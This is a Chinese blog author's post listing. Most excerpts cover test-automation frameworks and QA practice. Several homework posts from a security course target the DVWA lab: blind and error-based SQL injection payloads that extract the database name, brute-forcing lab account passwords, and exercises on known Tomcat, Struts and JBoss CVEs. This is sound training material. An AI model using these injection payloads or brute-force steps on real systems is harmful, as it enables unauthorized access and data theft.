- 博客(22)
- 收藏
- 关注
原创 接口项目框架
assert "nickname" in response_json.get("data", {}).get("userInfo", {}), "响应数据中未找到 nickname 字段"assert "userId" in response_json.get("data", {}).get("userInfo", {}), "响应数据中未找到 userId 字段"assert "token" in response_json.get("data", {}), "响应数据中未找到 token 字段"
2025-10-25 19:01:30
246
原创 webUI自动化基于python+playwright+pytest+deepseek
pytest.skip(f"DeepSeek账户余额不足,跳过测试: {error_message}")print(f"AI回答: {response.choices[0].message.content}")pytest.fail(f"DeepSeek API调用失败: {str(e)}")"content": "你是一个专业的测试工程师。pytest.skip("未配置DeepSeek API密钥,跳过测试")- `DEEPSEEK_API_KEY` - DeepSeek API密钥。
2025-10-23 11:17:24
299
原创 自动化测试脚本规范
使用描述性命名:给测试方法/函数起名时要清晰地反映出该测试的目的,这样可以让其他测试人员更容易理解测试内容及其意图(一般以页面对象、api接口名来命名方法和函数)。持续集成(CI/CD):集成 Jenkins、GitLab CI 等工具,实现测试自动化触发(如代码提交后Jenkins执行自动化测试脚本并生成报告)。因此,定期回顾现有的测试套件,根据项目情况变化调整优化测试脚本。处理异常情况:编写测试脚本时要考虑各种可能发生的错误条件,并适当添加异常处理逻辑,以保证即使某个测试失败也不会影响后续测试的执行。
2025-10-22 11:31:28
186
原创 测试团队考核机制
P1 (致命): 紧急且必须立即解决的问题,通常涉及严重的安全漏洞或是阻止产品发布的关键问题,以及影响测试流程的bug。P0级别的Bug,通常被称为“事故”或“紧急问题”,是软件开发和维护中优先级最高的问题。P4 (低优先级): 可以稍后处理的小问题或优化项,主要是关于改进用户体验方面的建议或非常小的bug。版本功能上线后发现的bug数量与测试阶段发现的bug数量的比值,衡量测试的充分性和有效性。P3 (中等优先级): 需要版本发布前解决的问题,比如比较小的功能、UI或交互问题。
2025-10-22 11:30:23
579
原创 如何在新公司带好一个测试小团队
上午:与产品负责人沟通(1小时),问清:① 近3个月核心业务目标(如“海外版上线”“用户留存提升10%”);下午:与研发负责人沟通(1小时),问清:① 研发团队当前的交付节奏(如“2周1个迭代周期”);开团队周会(1小时),做3件事:① 同步你1周的梳理成果(痛点、流程、业务目标);② 业务目标对测试的要求;参加团队晨会,做简短自我介绍(聚焦“擅长领域+来团队的目标”,如“擅长自动化测试,希望帮大家减轻重复工作”)基于共识,初步拟定“1-2个快速优化点”(如“梳理核心回归用例清单”“明确提测文档要求”)
2025-10-20 19:52:31
566
原创 海外APP测试注意事项
海外对用户数据、隐私保护的法规极严格(如欧盟 GDPR、美国 CCPA),若不合规,可能面临 “罚款(最高达全球营收 4%)、APP 下架”,必须重点测试。国内网络、设备与海外差异极大,若直接用国内环境测试,会遗漏 80% 以上的海外特有问题,必须先搭建 “类海外测试环境”
2025-10-17 17:04:16
953
原创 monkey脚本可视化平台搭建
`/api/select-device/<device_id>` | POST | 选择/取消选择设备 || `/api/refresh-devices` | POST | 刷新设备列表 || `/api/install-apk` | POST | 安装APK到选中设备 || `/api/upload-apk` | POST | 上传APK文件 || `/api/test-status` | GET | 获取测试状态 || `/api/resume-test` | POST | 恢复测试 |
2025-10-14 14:56:48
321
原创 UI自动化框架搭建基于python+pytest+appium+uiautomator2+xcuitest
├── page_object/ # Page Object页面对象模式。- `test_together_tab_page.py`: 聚一聚Tab页面测试。│ ├── elements/ # 页面元素定位配置文件。│ ├── base/ # 基础页面类和工具。- `test_tv_tab_edit_page.py`: 视频编辑页面测试。- `test_ios_login_page.py`: iOS登录流程测试。
2025-10-14 14:51:06
410
原创 小程序自动化测试框架搭建基于python+ minium+pytest
测试报告使用Allure生成,位于 [reports/allure_report/](file:///Users/ssmcmxt/PycharmProjects/SsmWxUiAutoTest/reports/allure_report) 目录下。修改 [config/mini_config.json](file:///Users/ssmcmxt/PycharmProjects/SsmWxUiAutoTest/config/mini_config.json) 文件中的相关配置。
2025-10-14 14:44:22
566
原创 接口自动化框架
│ ├── test_loginSsoStep3.py # 登录接口测试用例。│ ├── yaml_utils.py # YAML文件处理工具。│ ├── login.yaml # 登录接口测试数据。│ ├── user_*.yaml # 用户模块测试数据。│ ├── test_*.py # 其他模块测试用例。│ └── api_pages.py # API接口封装。
2025-10-13 14:10:20
290
原创 0404作业
前端爆库名:第一个字符:1' and ascii(substr(database(),1,1))=100#,第二个字符:1' and ascii(substr(database(),1,1))=118#,第三个字符:1' and ascii(substr(database(),3,1))=119#,第四个字符:1' and ascii(substr(database(),4,1))=97#前端爆库名:1' and extractvalue(1,concat(0x7e,database()))#
2025-04-12 22:06:45
564
原创 3.29作业
(2)Cookie老师在DVWA靶场中设置了一个账号Magedu,且在靶场中的某处存放了一个文件名为mageduC11.txt的密码字典,请你想办法找到该字典并尝试爆破,以获取账号Magedu的正确密码。(1)老李今年52岁了,他最近也在学习网络安全,为了方便练习,他在DVWA靶场中增设了一个自己的账号,密码就是他的生日,请你想办法破解出他的账号密码;4、在不依赖于DVWA后端数据库的情况,如何通过前端验证的方法判断DVWA中的注入点是数字型注入还是字符型注入?账号:laoli 密码:19730329。
2025-04-06 12:51:06
190
原创 0315作业
1、使用Burp抓包判断:在浏览器输入www.baidu.com,回车之后到访问成功,客户端一共发送了几个请求数据包?4、练习JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)2、练习Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)3、练习S2-048 远程代码执行漏洞(CVE-2017-9791)通过burpsuite进行验证。5、nmap扫描端口。
2025-03-18 22:41:53
206
原创 0309作业
1、docker后台方式和交互方式启动centos容器。5、安装burp进行http抓包以及https。2、部署DVWA,使用8082端口映射访问。4、、以下哪个口令不是弱口令?
2025-03-10 20:17:05
247
原创 0222作业
(3)Javascript 中的常量包括 String、Number、Boolean、Null、Undefined。(2)Javascript 中,不区分大小写字母,也就是说 A 和 a 是同一个变量。(4)String 字符串的语法中既可以使用单引号,也可以使用双引号。(5)typeof 是用来判断变量类型,不可以当作运算符使用。(1)console.log("年龄:" + 20);+ 作用为:字符串中的一部分。+ 作用为:字符串中的一部分。3、请分别描述下列代码中“+”的作用。+ 作用为:加法计算。
2025-02-24 14:22:41
306
原创 Linux创建用户和组,以及用户和组配置文件详解
用户和组配置文件都放在etc目录下,分别为:/etc/passwd,该文件保存用户信息,每一行代表一个用户格式如下:username 表示用户名,password 表示密码,x只是表示一个占位符,可为空UID 表示用户ID,GID 表示组ID,userinfo 表示用户全称或额外信息,diectory 表示用户家目录,shell 表示用户默认shell程序/etc/shadow,该文件保存用户密码和相关安全信息格式如下:username 表示用户名,
2024-12-10 15:14:36
2900
原创 Linux常用命令以及文件系统操作
Linux的目录结构是树状结构,最顶级的目录为根目录"/"/ 就相当于 Windows 中的 "我的电脑""/root": 该目录为系统管理员,也称作超级权限者的用户主目录。"/home": 存放普通用户的主目录,在 Linux 中每个用户都有一个自己的目录,一般该目录名是以用户的账号命名的。"/etc": 所有的系统管理所需要的配置文件和子目录。"/usr": 这是一个非常重要的目录,用户的很多应用程序和文件都放在这个目录下,类似与 windows 下的 program files 目录。
2024-12-04 16:33:06
647
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人
RSS订阅